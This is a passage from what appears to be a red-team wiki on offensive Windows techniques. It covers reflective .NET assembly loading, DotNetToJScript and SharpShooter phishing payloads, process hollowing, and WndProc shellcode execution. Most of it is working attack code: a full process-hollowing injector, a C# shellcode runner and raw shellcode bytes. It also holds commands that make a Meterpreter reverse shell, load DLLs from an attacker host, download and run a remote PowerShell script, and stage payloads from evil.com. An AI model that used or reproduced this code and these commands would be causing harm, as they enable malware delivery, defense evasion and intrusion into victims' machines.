        public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
        {
            // Load the assembly
            Assembly assembly = Assembly.Load(assemblyBytes);
            // Find the Entrypoint or "Main" method
            MethodInfo method = assembly.EntryPoint;
            // Get the parameters
            object[] parameters = new[] { param };
            // Invoke the method with its parameters
            object execute = method.Invoke(null, parameters);
        }
    }
}
```

Compile it, and execute it

```powershell
PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!
```

{% endtab %}

{% tab title="Assembly.LoadFile()" %}
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the `Assembly.LoadFile()` method

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            string filePath = "C:\\Tools\\JustACommandWithArgs.exe";

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssemblyLoadFile(filePath, fileArgs);
        }

        // Load and execute assembly from path
        //   - Accept only local file path
        public static void ExecuteAssemblyLoadFile(string assemblyPath, string[] param)
        {
            Console.WriteLine("[*] Using Assembly.LoadFile:");

            try
            {
                // Load the assembly
                Assembly assembly = Assembly.LoadFile(assemblyPath);
                // Find the Entrypoint or "Main" method
                MethodInfo method = assembly.EntryPoint;
                // Get the parameters
                object[] parameters = new[] { param };
                // Invoke the method with its parameters
                object execute = method.Invoke(null, parameters);
            } 
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }
    }
}

```

Compile it, and execute it

```powershell
PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!
```

{% endtab %}

{% tab title="SharpSploit - 1" %}
Here is a little example of calling SharpSploit assembly (dll) in C# using the `Assembly.Load()` method

The following code use the `SharpSploit.Credentials.Tokens` class, create an instance using the constructor, and the call its `WhoAmI` method

{% code title="SharpSploitWhoami.cs" %}

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Credentials.Tokens");

            // Find the WhoAmi method - Note that definition must be the same as in the dll
            var methodInfo = t.GetMethod("WhoAmI", new Type[] { });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Define parameters for class constructor
            object[] constructorParameters = new object[1];
            constructorParameters[0] = true; // First parameter.

            //Create instance of Tokens class
            var o = Activator.CreateInstance(t, constructorParameters);

            //Invoke method
            var r = methodInfo.Invoke(o,null);
            Console.WriteLine(r);
            //OR
            //Specify parameters for the method we will be invoking
            //object[] parameters = new object[2];
            //parameters[0] = 124;            // First parameter
            //parameters[1] = "Some text.";   // Second parameter
            //Invoke method with parameters
            //var r = methodInfo.Invoke(o,parameters);
        }
    }
}
```

{% endcode %}

Compile it, and execute it

```powershell
PS> SharpSploitWhoami.exe
DESKTOP1\Pwned
```

{% endtab %}

{% tab title="SharpSploit - 2" %}
Here is a little example of calling SharpSploit assembly (dll) in C# using the `Assembly.Load()` method

The following code use the `SharpSploit.Enumeration.Registry` class to call its `GetRegistryKey` static method

{% code title="SharpSploitRegQuery.cs" %}

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Enumeration.Registry");

            // Find the GetRegistryKey method (public static string GetRegistryKey(string RegHiveKey, string RegValue))
            var methodInfo = t.GetMethod("GetRegistryKey", new Type[] { typeof(string) });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Specify parameters for the method we will be invoking
            object[] parameters = new object[1];
            parameters[0] = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";   // Second parameter

            var r = methodInfo.Invoke("", parameters);
            Console.WriteLine(r);
        }
    }
}
```

{% endcode %}

Compile it, and execute it

```powershell
PS> SharpSploitRegQuery.exe
Values:
  Name:
  Kind: String
  Value: mnmsrvc

  Name: ComputerName
  Kind: String
  Value: DESKTOP-LKH0G0S
```

{% endtab %}
{% endtabs %}

### C/C++

It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.

{% hint style="info" %}
Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.
{% endhint %}

At a high level, it works as follows:

1. `CLRCreateInstance` is used to retrieve an interface [ICLRMetaHost](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface)
2. `ICLRMetaHost->GetRuntime` is used to retrieve [ICLRRuntimeInfo](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface) interface for a specified CLR version
3. `ICLRRuntimeInfo->GetInterface` is used to load the CLR into the current process and retrieve an interface [ICLRRuntimeHost](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface)
4. `ICLRRuntimeHost->Start` is used to initialize the CLR into the current process
5. `ICLRRuntimeHost->ExecuteInDefaultAppDomain` is used to load the C# .NET assembly and call a particular method with an optionally provided argument

{% tabs %}
{% tab title="unmanaged.cpp" %}

* `managed.cs` is a C# program that is loaded by the unmanaged process.
* `unmanaged.cpp` is a C++ program that loads a C# assembly (managed.exe). It invoks via `ExecuteInDefaultAppDomain` the `spotlessMethod` method from the C# assembly

{% code title="unmanaged.cpp" %}

```cpp
// code stolen from https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\Csharp\\managed.exe", L"managed.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}
```

{% endcode %}

Compile it and execute it

```powershell
PS > unmanaged.exe
Hi from CLR
CLR executed successfully
```

{% endtab %}

{% tab title="managed.cs" %}
Here is the managed.cs code:

{% code title="managed.cs" %}

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CLRHello1
{
    class Program
    {
        static void Main(string[] args)
        {
            return;   
        }
        
        // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
        static int spotlessMethod(String pwzArgument)
        {
            Console.WriteLine("Hi from CLR");
            return 1;
        }
    }
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

### Tools

{% tabs %}
{% tab title="Evil-WinRm" %}
If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.

**Dll-Loader**

We can use `Dll-Loader` to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type `menu`, then it is possible to autocomplete all functions.

```powershell
#Load dll from the victime disk
*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll

#Load dll from SMB server
*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll

#Load dll from HTTP server
*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll

#Call methods
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
```

**Invoke-Binary**

We can use `Invoke-Binary` to load a local (on attacking host) .NET binary in memory.

```powershell
#Load local .NET binary
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
```

{% endtab %}

{% tab title="PowerSharpPack" %}
[PowerSharpPack](https://github.com/S3cur3Th1sSh1t/PowerSharpPack) provide many usefull offensive CSharp Projects wraped into Powershell for easy usage. It use the mentioned gzip+base64 encode methods to load .NET assembly in memory.

```powershell
#Download PowerSharpPack
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')

#Choose your tool
PowerSharpPack -seatbelt -Command "AMSIProviders"
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly>" %}

{% embed url="<https://stackoverflow.com/questions/14479074/c-sharp-reflection-load-assembly-and-invoke-a-method-if-it-exists>" %}

{% embed url="<https://blog.king-sabri.net/red-team/executing-c-assembly-in-memory-using-assembly.load>" %}

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process>" %}


# Loading .NET Assembly from Windows Script Hosting

MITRE ATT\&CK™ Reflective Code Loading - Technique T1620

## Theory

You can load and execute .NET (C#) assemblies directly into memory from a compiled binary using Jscript, VBScript, or VBA Mcros, by using the DotNetToJScript technique from James Forshaw.

{% hint style="success" %}
As double-clicking `.js` or .`vbs` or other script files on Windows will by default execute them through the [Windows-Based Script Host](/redteam/weapon/code-execution/wsh), this technique can efficiently be used for phishing and even phishing with [HTML Smuggling](/redteam/delivery/phishing/html-smuggling).
{% endhint %}

## Practice

{% tabs %}
{% tab title="UNIX-like" %}
[SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) (Python) can be used to creat payloads in a variety of formats, including HTA, JS, VBS and WSF. It leverages James Forshaw's [DotNetToJavaScript](https://github.com/tyranid/DotNetToJScript) tool to invoke methods from the SharpShooter DotNet serialised object.

SharpShooter supports both staged and stageless payload execution.

* **Stagless payload** will embed the whole .NET in the generated file.
* **Staged payloads** will attempt to retrieve a CSharp source code file that has been zipped and then base64 encoded using the chosen delivery technique (DNS or HTTP). The CSharp source code will be downloaded and compiled on the host using the .NET CodeDom compiler. Reflection is then subsequently used to execute the desired method from the source code. A summary of how SharpShooter operates during staging is shown in the diagram below:

<figure><img src="/files/8VIYIe6dUHI0qfhkRDAX" alt=""><figcaption><p><a href="https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/">https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/</a></p></figcaption></figure>

However for both types of payload, we should first generate a shellcode.

```bash
# Generate a shellcode for stagless payloads
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.121 LPORT=443 -f raw -o msf.raw

# Generate a shellcode for staged payloads
# The shellcode file should only contain the raw bytes, not the variable definition. For example byte[] buf = new byte[999] { 0x01, 0x02, 0x03 … would mean the shellcode file would contain just 0x01, 0x02, 0x03.
msfvenom -p windows/x64/exec CMD=calc.exe -f csharp > /tmp/raw.cs; cat /tmp/raw.cs |sed 's/byte\[\] buf = new byte\[[0-9]\+\] {//g' |sed 's/};//g' > msf.raw
```

{% hint style="danger" %}
When generating HTA payloads, we should always use 32-bit shellcodes due to mshta.exe being a 32-bit binary.
{% endhint %}

**Stagless Payloads**

We can now generate stageless payloads as follows.

```bash
# --payload:    Payload type: hta, js, jse, vbe, vbs, wsf, macro, slk
# --dotnetver:  Target .NET Version: 2 or 4
# --stageless:  Entire generated payload will be transferred at once (no HTML smuggling)

# Embedding a .NET assembly in JScript
sharpshooter --payload js --dotnetver 4 --stageless --rawscfile msf.raw --output evil

# Embedding a .NET assembly in VBScript
sharpshooter --payload vbs --dotnetver 4 --stageless --rawscfile msf.raw --output evil
```

**Stagled Payloads**

We can generate stageled payloads as follows.

```bash
# --payload:    Payload type: hta, js, jse, vbe, vbs, wsf, macro, slk
# --dotnetver:  Target .NET Version: 2 or 4
# --com:        COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
# --delivery:   Delivery method for the stage: web, dns, both
# --web:        URI for web delivery
# --shellcode:  Use built in shellcode execution
# --template:   HTTP Template for the HTTP generated file (for delievry)
# --smuggle:    Smuggle payload into generated HTTP

# HTTP Smuggling Delivery + Staged Payload to retreive the .NET to execute (in JScript)
sharpshooter --payload js --dotnetver 2 --shellcode --scfile msf.raw --output evil --delivery web --web http://www.evil.com/evil.payload --smuggle --template mcafee
```

For previous example, SharpShooter will have created 3 separate files in the output directory, evil.html, evil.js and evil.payload.

* **evil.js:** JavaScript payload that the user will eventually execute. If you are using HTML smuggling, this file does not need to be sent to the user, it’s provided purely for information and debugging purposes.
* **evil.html:** is the HTML file that we will ultimately coerce the user in to opening by whatever means. This file contains the encrypted copy of evil.js which is decrypted using JavaScript then served to the user using the navigator.mssaveBlob technique.
* **evil.payload**: is the C Sharp source code that will be retrieved, compiled and executed on the target host. In this case, the file contains a harness that will execute the supplied shellcode. The source code file is zipped then base64 encoded. The file should be hosted at the URI `http://www.evil.com/evil.payload`

Alternatively, we can retreive a custom .NET from our staged payload:

```bash
# Custom .NET inside VBS
sharpshooter --dotnetver 4 --payload vbs --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
```

{% endtab %}

{% tab title="Windows" %}
[DotNetToJScript](https://github.com/tyranid/DotNetToJScript) is a tool created by James Forshaw that allows .NET (C#) assemblies to be executed within JavaScript or VBScript.

**Prepare the .NET Assembly**

First, you need to create or identify a **.NET assembly** (DLL or EXE) that contains the code you want to run. This assembly could perform any function, such as spawning a reverse shell, executing arbitrary code, or interacting with system resources.

In the example below, we create and compile our own C# code that can execute a supplied shellcode.

{% code title="evil.cs" %}

```csharp
// Compile this code as a DLL for x64 arch using Visual Studio 
using System;
using System.Runtime.InteropServices;

[ComVisible(true)]
public class EvilLoader
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    public EvilLoader()
    {
        //msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
        byte[] buf = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8......};

        int size = buf.Length;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
        Marshal.Copy(buf, 0, addr, size);
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
    
    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}
```

{% endcode %}

**Execute DotNetToJScript**

DotNetToJScript takes your compiled .NET assembly as input. The tool will embed this assembly into the output JScript or VBScript code.

{% hint style="info" %}
When using custom .NET assembly like in our example (i.e not the "ExampleAssembmy" provided code) we should specify the assembly class name and entry function.
{% endhint %}

```powershell
# -c:      Entry class name
# --lang:  Language to use (JScript, VBA, VBScript)
# --ver:   .NET version to use (None, v2, v4, Auto)

# Embedding a .NET assembly in JScript
.\DotNetToJScript.exe evil.dll -c EvilLoader --lang=Jscript --ver=v4 -o evil.js

# Embedding a .NET assembly in VBScript
.\DotNetToJScript.exe evil.dll -c EvilLoader --lang=VBScript --ver=v4 -o evil.js

# Embedding a .NET assembly in VBA
.\DotNetToJScript.exe evil.dll -c EvilLoader --lang=VBA --ver=v4 -o evil.js
```

**Execute the Payload**

Generated JScript or VBScript payload can be executed by double-clicking it or using [Windows Script Host](/redteam/weapon/code-execution/wsh). Such
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/>" %}

{% embed url="<https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/shellcode-runners#c-dll-to-jscript>" %}

{% embed url="<https://www.ired.team/offensive-security/defense-evasion/executing-csharp-assemblies-from-jscript-and-wscript-with-dotnettojscript>" %}


# Process Hollowing

MITRE ATT\&CK™ Process Injection: Process Hollowing - Technique T1055.012

## Theory

Process Hollowing involves injecting malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

At a high-level, process hollowing can be broken up into six steps:

1. Create a target process in a suspended state.
2. Open a malicious image.
3. Un-map legitimate code from process memory.
4. Allocate memory locations for malicious code and write each section into the address space.
5. Set an entry point for the malicious code.
6. Take the target process out of a suspended state.

The steps can also be broken down graphically to depict how Windows API calls interact with process memory.

<figure><img src="/files/K6yiuBLPigtrBRxJIdT3" alt=""><figcaption><p>Process Hollowing - TryHackMe</p></figcaption></figure>

## 🛠️ Practice

{% tabs %}
{% tab title="C++" %}
We maye use the following C++ code to perform Process Hollowing.

{% code title="process\_hollowing.cpp" %}

```cpp
#include <stdio.h>
#include <Windows.h>

#pragma comment(lib, "ntdll.lib")

EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);

int main() {
    LPSTARTUPINFOA pVictimStartupInfo = new STARTUPINFOA();
        LPPROCESS_INFORMATION pVictimProcessInfo = new PROCESS_INFORMATION();

        // Tested against 32-bit IE.
        LPCSTR victimImage = "C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe";

        // Change this. Also must be 32-bit. Use project settings from the same project.
        LPCSTR replacementImage = "C:\\Users\\THM-Attacker\\Desktop\\Injectors\\evil.exe";

        // Create victim process
        if (!CreateProcessA(
                        0,
                        (LPSTR)victimImage,
                        0,
                        0,
                        0,
                        CREATE_SUSPENDED,
                        0,
                        0,
                        pVictimStartupInfo,
                        pVictimProcessInfo)) {
                printf("[-] Failed to create victim process %i\r\n", GetLastError());
                return 1;
        };

        printf("[+] Created victim process\r\n");
        printf("\t[*] PID %i\r\n", pVictimProcessInfo->dwProcessId);


        // Open replacement executable to place inside victim process
        HANDLE hReplacement = CreateFileA(
                replacementImage,
                GENERIC_READ,
                FILE_SHARE_READ,
                0,
                OPEN_EXISTING,
                0,
                0
        );

        if (hReplacement == INVALID_HANDLE_VALUE) {
                printf("[-] Unable to open replacement executable %i\r\n", GetLastError());
                TerminateProcess(pVictimProcessInfo->hProcess, 1);
                return 1;
        }

        DWORD replacementSize = GetFileSize(
                hReplacement,
                0);
        printf("[+] Replacement executable opened\r\n");
        printf("\t[*] Size %i bytes\r\n", replacementSize);


        // Allocate memory for replacement executable and then load it
        PVOID pReplacementImage = VirtualAlloc(
                0,
                replacementSize,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE);

        DWORD totalNumberofBytesRead;

        if (!ReadFile(
                        hReplacement,
                        pReplacementImage,
                        replacementSize,
                        &totalNumberofBytesRead,
                        0)) {
                printf("[-] Unable to read the replacement executable into an image in memory %i\r\n", GetLastError());
                TerminateProcess(pVictimProcessInfo->hProcess, 1);
                return 1;
        }
        CloseHandle(hReplacement);
        printf("[+] Read replacement executable into memory\r\n");
        printf("\t[*] In current process at 0x%08x\r\n", (UINT)pReplacementImage);


        // Obtain context / register contents of victim process's primary thread
        CONTEXT victimContext;
        victimContext.ContextFlags = CONTEXT_FULL;
        GetThreadContext(pVictimProcessInfo->hThread,
                &victimContext);
        printf("[+] Obtained context from victim process's primary thread\r\n");
        printf("\t[*] Victim PEB address / EBX = 0x%08x\r\n", (UINT)victimContext.Ebx);
        printf("\t[*] Victim entry point / EAX = 0x%08x\r\n", (UINT)victimContext.Eax);


        // Get base address of the victim executable
        PVOID pVictimImageBaseAddress;
        ReadProcessMemory(
                pVictimProcessInfo->hProcess,
                (PVOID)(victimContext.Ebx + 8),
                &pVictimImageBaseAddress,
                sizeof(PVOID),
                0);
        printf("[+] Extracted image base address of victim process\r\n");
        printf("\t[*] Address: 0x%08x\r\n", (UINT)pVictimImageBaseAddress);


        // Unmap executable image from victim process
        DWORD dwResult = NtUnmapViewOfSection(
                pVictimProcessInfo->hProcess,
                pVictimImageBaseAddress);
        if (dwResult) {
                printf("[-] Error unmapping section in victim process\r\n");
                TerminateProcess(pVictimProcessInfo->hProcess, 1);
                return 1;
        }

        printf("[+] Hollowed out victim executable via NtUnmapViewOfSection\r\n");
        printf("\t[*] Utilized base address of 0x%08x\r\n", (UINT)pVictimImageBaseAddress);


        // Allocate memory for the replacement image in the remote process
        PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pReplacementImage;
        PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew);
        DWORD replacementImageBaseAddress = pNTHeaders->OptionalHeader.ImageBase;
        DWORD sizeOfReplacementImage = pNTHeaders->OptionalHeader.SizeOfImage;

        printf("[+] Replacement image metadata extracted\r\n");
        printf("\t[*] replacementImageBaseAddress = 0x%08x\r\n", (UINT)replacementImageBaseAddress);
        printf("\t[*] Replacement process entry point = 0x%08x\r\n", (UINT)pNTHeaders->OptionalHeader.AddressOfEntryPoint);

        PVOID pVictimHollowedAllocation = VirtualAllocEx(
                pVictimProcessInfo->hProcess,
                (PVOID)pVictimImageBaseAddress,
                sizeOfReplacementImage,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READWRITE);
        if (!pVictimHollowedAllocation) {
                printf("[-] Unable to allocate memory in victim process %i\r\n", GetLastError());
                TerminateProcess(pVictimProcessInfo->hProcess, 1);
                return 1;
        }
        printf("[+] Allocated memory in victim process\r\n");
        printf("\t[*] pVictimHollowedAllocation = 0x%08x\r\n", (UINT)pVictimHollowedAllocation);


        // Write replacement process headers into victim process
        WriteProcessMemory(
                pVictimProcessInfo->hProcess,
                (PVOID)pVictimImageBaseAddress,
                pReplacementImage,
                pNTHeaders->OptionalHeader.SizeOfHeaders,
                0);
        printf("\t[*] Headers written into victim process\r\n");

        // Write replacement process sections into victim process
        for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
                PIMAGE_SECTION_HEADER pSectionHeader =
                        (PIMAGE_SECTION_HEADER)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
                                + (i * sizeof(IMAGE_SECTION_HEADER)));
                WriteProcessMemory(pVictimProcessInfo->hProcess,
                        (PVOID)((LPBYTE)pVictimHollowedAllocation + pSectionHeader->VirtualAddress),
                        (PVOID)((LPBYTE)pReplacementImage + pSectionHeader->PointerToRawData),
                        pSectionHeader->SizeOfRawData,
                        0);
                printf("\t[*] Section %s written into victim process at 0x%08x\r\n", pSectionHeader->Name, (UINT)pVictimHollowedAllocation + pSectionHeader->VirtualAddress);
                printf("\t\t[*] Replacement section header virtual address: 0x%08x\r\n", (UINT)pSectionHeader->VirtualAddress);
                printf("\t\t[*] Replacement section header pointer to raw data: 0x%08x\r\n", (UINT)pSectionHeader->PointerToRawData);
        }


        // Set victim process entry point to replacement image's entry point - change EAX
        victimContext.Eax = (SIZE_T)((LPBYTE)pVictimHollowedAllocation + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
        SetThreadContext(
                pVictimProcessInfo->hThread,
                &victimContext);
        printf("[+] Victim process entry point set to replacement image entry point in EAX register\n");
        printf("\t[*] Value is 0x%08x\r\n", (UINT)pVictimHollowedAllocation + pNTHeaders->OptionalHeader.AddressOfEntryPoint);


        printf("[+] Resuming victim process primary thread...\n");
        ResumeThread(pVictimProcessInfo->hThread);

        printf("[+] Cleaning up\n");
        CloseHandle(pVictimProcessInfo->hThread);
        CloseHandle(pVictimProcessInfo->hProcess);
        VirtualFree(pReplacementImage, 0, MEM_RELEASE);

        return 0;
} 

```

{% endcode %}
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://attack.mitre.org/techniques/T1055/012/>" %}

{% embed url="<https://tryhackme.com/room/abusingwindowsinternals>" %}

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations>" %}


# WndProc Callback Shellcode Execution

## Theory

This technique executes shellcode by leveraging a `WndProc` callback in a registered window class. The shellcode is written into memory, marked as executable, and triggered by sending a message to the created window.

The shellcode is injected into the process’s memory using `NtAllocateVirtualMemory`, written using `NtWriteVirtualMemory`, and marked executable via `NtProtectVirtualMemory`. Instead of directly calling the shellcode, it is assigned as the `WndProc` function for a registered window class. When a message is sent to this window, execution is redirected to the shellcode, effectively bypassing conventional execution flow detection.

**Execution Flow**

1. **Allocate Memory for Shellcode**:
   * Memory is allocated within the process using `NtAllocateVirtualMemory`.
   * Shellcode is written using `NtWriteVirtualMemory`.
   * Memory protection is changed to executable using `NtProtectVirtualMemory`.
2. **Register Window Class:** Create a window class using `RegisterClassExW`, assigning the shellcode as its `WndProc` callback function.
3. **Create Window:** Instantiate a message-only window with `CreateWindowExW`, linked to the registered window class.
4. **Trigger Execution:** Send a message to the window using `SendMessageW`, causing execution to be redirected to the shellcode.
5. **Cleanup:** Remove artifacts by destroying the window with `DestroyWindow` and unregistering the class using `UnregisterClassW`.

## Practice

{% tabs %}
{% tab title="C++" %}
We maye use the following C++ code to perform WndProc Callback Shellcode Execution.

{% code title="WndProc.cpp" %}

```cilkcpp
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <iostream>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    DWORD dwSize;
    
    //Calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);

    HANDLE hProc = GetCurrentProcess();
    PVOID base_addr = NULL;
    SIZE_T pnew = length;
    SIZE_T bytesWritten = 0;
    DWORD oldProtect = 0;
    NTSTATUS status;

    // Load NT functions dynamically
